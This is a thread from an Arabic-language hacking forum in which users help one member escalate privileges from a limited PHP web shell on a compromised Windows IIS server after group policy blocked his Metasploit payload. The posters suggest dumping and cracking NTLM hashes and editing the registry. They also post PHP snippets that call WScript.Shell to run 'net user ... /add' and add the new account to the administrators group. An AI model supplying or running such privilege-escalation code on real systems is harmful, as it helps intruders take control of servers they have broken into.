user limited shell windows

[JANOVA]

السلام عليكم شباب
اليوم رفعت بايلود من الشل لما شغلته طلعت الصدمة

start payload.exe

This program is blocked by group policy. For more information, contact your system administrator.

عل توجد طريقة لتخطى هدا المشكل

[Cyber Code]

حاول زرع يوزر او تعديل صلاحيات اليوزر بتاعك من الكوماند لاين,
او تسحب هاشات ال ntlm بحيث تكسر تشفير باسورد احد اليوزرات وتستخدمه في التخطي.
او جرب تستبدل البايلود بتاعك باخر لايتطلب صلاحيات عاليه مثل نسخ الباتش لاحد مجلدات النظام او زرقع قيمه ريجستري وغيره..

[JANOVA]

انا رفعته من الشل لا يوجد بالشل قيم رجستري
انا اصلا رفعت البايلود للاتصال بالميتاسبلوت لترقية الصلاحيات
بالنسبة لاضافة اليوزر لا يكمن اضافته ما دمت انت يوزر
لا يسحب الي بالباكدور ntdlm

[fantome195]

هل جربت تعديل على الباس الخاص بالمديرين
net user admin *
يمكن تشتغل معاك لو ما نفع وما دمت انت اخترقت الجهاز فما عليك برفع سرفر وتشغيل برنامج سحب الباسوردات اليوزرات وفك تشفيرهم

[JANOVA]

اقتباس المشاركة الأصلية كتبت بواسطة fantome195 هل جربت تعديل على الباس الخاص بالمديرين net user admin * يمكن تشتغل معاك لو ما نفع وما دمت انت اخترقت الجهاز فما عليك برفع سرفر وتشغيل برنامج سحب الباسوردات اليوزرات وفك تشفيرهم

هل انت جدر حتي تكتب هدا الامر هدا لا ينفه مع مستخدم limited shell

[Cyber Code]

تاكد لو تقدر تضيف او تعدل قيمة في الريجستري, لو باستطاعتك وقتها يمكنك تخطي مشكلة الصلاحيات .
للأسف سرفرات الوندوز مو مثل اللينوكس انه ترفع ملف هت اكسس او php.ini فمحاولاتك تكون محدوده بشروط معينه

واتمنى ارفاق نوع النظام بالضبط في الرد القادم

[JANOVA]

يا حبيبي cyber code
انا رافع شل مكتوب بلغة php
وانت تقول رجستري لو كنت واصل للجستري لاخترقت السيرفر

[fantome195]

شوف نفس المشكل تكرر معي البارحة سرفرات واليندرز قبيحة متل نظامها المهم شوف غير الشيل الى الشيلات المختصة في الويندزر + جرب هذه الطريقة وهي تشتغل فقط على II4&5

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("net user fantome 000000 /add");
?>

,ارفعه على السرفر واستعرضه وشوف اليوزرات لو شفت انو تم اظافة اليوزر fantome
فارفع ملف اخر فيه التالي
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("net user fantome localgroup /add");
?>
ومبروك عليك الأدمن
في انتظارك اخي

[دام علاء العماد]

لقد إستفدنا من إجابات الاخوة بارك الله فيكم

[JANOVA]

اخي

net user janova janova /add
net localgroup administrators janova /add
هكدا تكتب انا

limited shell

هل تعرف مامعني

limited shell

بارك الله فيك

[fantome195]

اقتباس المشاركة الأصلية كتبت بواسطة JANOVA اخي net user janova janova /add net localgroup administrators janova /add هكدا تكتب انا limited shell هل تعرف مامعني limited shell بارك الله فيك

شوف اسف على الخطا ما انتبهت لو
المهم انا قوتلك في ردي طريقة بشتغل على IIS4&5 وانت ما حطيت اصدار يعني رح ينزل على الوحي ولا كيف

في امان الله

[JANOVA]

اخي الكريم في iiS5

توجد عدة طرق للتخطي ومن بينها الشل كود لكن
نحن في هده الحالة يوزر محدود الصلاحيات يجب تشغيل البايلود بنفس الصلاحيات لربطه بالميتاسبلوت حتي نرقي الصلاحيات
لكن عند التشغيل لا يسمح المدير بتنصيب البرامج اتمني ان تصل المعلومة